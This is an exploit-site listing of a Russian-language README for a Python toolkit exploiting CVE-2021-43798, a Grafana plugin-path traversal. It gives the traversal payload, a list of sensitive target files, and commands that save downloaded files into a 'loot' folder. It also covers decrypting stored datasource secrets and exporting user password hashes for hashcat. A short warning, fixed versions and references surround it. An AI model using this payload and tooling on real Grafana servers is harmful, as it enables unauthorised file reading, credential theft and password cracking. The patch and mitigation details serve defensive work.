Sploitus

Exploit for CVE-2021-43798

kitploit · 2026-08-31

Exploit Code

MARKDOWN174 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OKYMI-X-CVE-2021-43798
# CVE-2021-43798 - Чтение произвольных файлов в Grafana

Python-инструментарий для авторизованного тестирования CVE-2021-43798, уязвимости обхода пути в Grafana, которая может позволить неаутентифицированное чтение произвольных файлов через пути к ресурсам плагинов.

Этот репозиторий содержит:

  * `grafana_poc.py`: интерактивный PoC для чтения произвольных файлов, сохраняющий загруженные файлы локально.
  * `grafana_pass_decryptor.py`: утилита для расшифровки зашифрованных секретов источников данных Grafana при наличии `grafana.ini` и/или `secret_key`, а также для экспорта хешей паролей пользователей Grafana из `grafana.db`.



## Предупреждение

Используйте этот проект только на системах, которыми вы владеете, управляете или на тестирование которых имеете явное письменное разрешение. Несанкционированная эксплуатация может привести к раскрытию конфиденциальных файлов, учётных данных, закрытых ключей, содержимого баз данных и хешей паролей пользователей.

## Сводка об уязвимости

CVE-2021-43798 затрагивает версии Grafana от `8.0.0-beta1` до `8.3.0`. Исправленные версии: `8.3.1`, `8.2.7`, `8.1.8` и `8.0.7`.

Уязвимость доступна через маршруты ресурсов плагинов, например:

root@kitploit:~
    
    
    /public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
    

Типичные файлы, запрашиваемые при авторизованной валидации, включают:

root@kitploit:~
    
    
    /etc/passwd
    /etc/grafana/grafana.ini
    /var/lib/grafana/grafana.db
    /proc/self/cmdline
    

Доступ зависит от разрешений операционной системы, выданных процессу Grafana.

## Требования

  * Python 3.10+
  * `requests`
  * `pycryptodome` или `cryptography` для расшифровки секретов



Установка зависимостей:

root@kitploit:~
    
    
    python3 -m venv .venv
    source .venv/bin/activate
    pip install -r requirements.txt
    

## Руководство по использованию

### 1\. Чтение файлов с помощью PoC

Запустите интерактивный PoC для авторизованной цели:

root@kitploit:~
    
    
    python3 grafana_poc.py -H http://target:3000 -o loot
    

По запросу введите абсолютные пути:

root@kitploit:~
    
    
    Download file > /etc/passwd
    Download file > /etc/grafana/grafana.ini
    Download file > /var/lib/grafana/grafana.db
    Download file > exit
    

Загруженные файлы сохраняются в выходной каталог с сохранением безопасной версии удалённого пути, например:

root@kitploit:~
    
    
    loot/etc/grafana/grafana.ini
    loot/var/lib/grafana/grafana.db
    

### 2\. Расшифровка секретов Grafana

Если у вас есть и `grafana.ini`, и `grafana.db`, расшифровщик может прочитать `secret_key` из конфигурационного файла и попытаться расшифровать зашифрованные секреты источников данных, уведомлений о тревогах и плагинов:

root@kitploit:~
    
    
    python3 grafana_pass_decryptor.py \
      --ini loot/etc/grafana/grafana.ini \
      --db loot/var/lib/grafana/grafana.db
    

Расшифровать один зашифрованный блок вручную:

root@kitploit:~
    
    
    python3 grafana_pass_decryptor.py \
      --secret-key SW2YcwTIb9zpOOhoPsMm \
      --blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
    

Вывести JSON, разделённый переводами строк:

root@kitploit:~
    
    
    python3 grafana_pass_decryptor.py \
      --ini loot/etc/grafana/grafana.ini \
      --db loot/var/lib/grafana/grafana.db \
      --json
    

### 3\. Экспорт хешей пользователей

Пароли пользователей Grafana не являются зашифрованными секретами. Они представляют собой хеши PBKDF2 с солью. Экспортируйте их из таблицы `user`:

root@kitploit:~
    
    
    python3 grafana_pass_decryptor.py \
      --ini loot/etc/grafana/grafana.ini \
      --db loot/var/lib/grafana/grafana.db \
      --users
    

Экспортировать только строки для режима hashcat `10900`:

root@kitploit:~
    
    
    python3 grafana_pass_decryptor.py \
      --db loot/var/lib/grafana/grafana.db \
      --users \
      --hashcat > hashes.txt
    

## Устранение уязвимости

Обновите Grafana до исправленной версии:

  * `8.3.1` или новее для ветки 8.3
  * `8.2.7` или новее для ветки 8.2
  * `8.1.8` или новее для ветки 8.1
  * `8.0.7` или новее для ветки 8.0



Если немедленное обновление невозможно, в рекомендациях Grafana отмечается, что установка обратного прокси-сервера перед Grafana, нормализующего пути запросов, может смягчить поведение при обходе каталогов. Относитесь к этому как к временной мере, а не замене патча.

## Ссылки

  * Exploit-DB 50581: https://www.exploit-db.com/exploits/50581
  * Справочный репозиторий jas502n: https://github.com/jas502n/Grafana-CVE-2021-43798
  * Рекомендация по безопасности Grafana GHSA-8pjx-jj86-j47p: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  * Сообщение в блоге Grafana о CVE-2021-43798: https://grafana.com/blog/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
  * Запись CVE в NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-43798



## Благодарности

Оригинальный публичный PoC приписывается `s1gh` на Exploit-DB. Процесс расшифровки секретов Grafana вдохновлён публичными исследованиями и примерами из `jas502n/Grafana-CVE-2021-43798`, а этот репозиторий предоставляет Python-утилиту для лабораторного и авторизованного тестирования.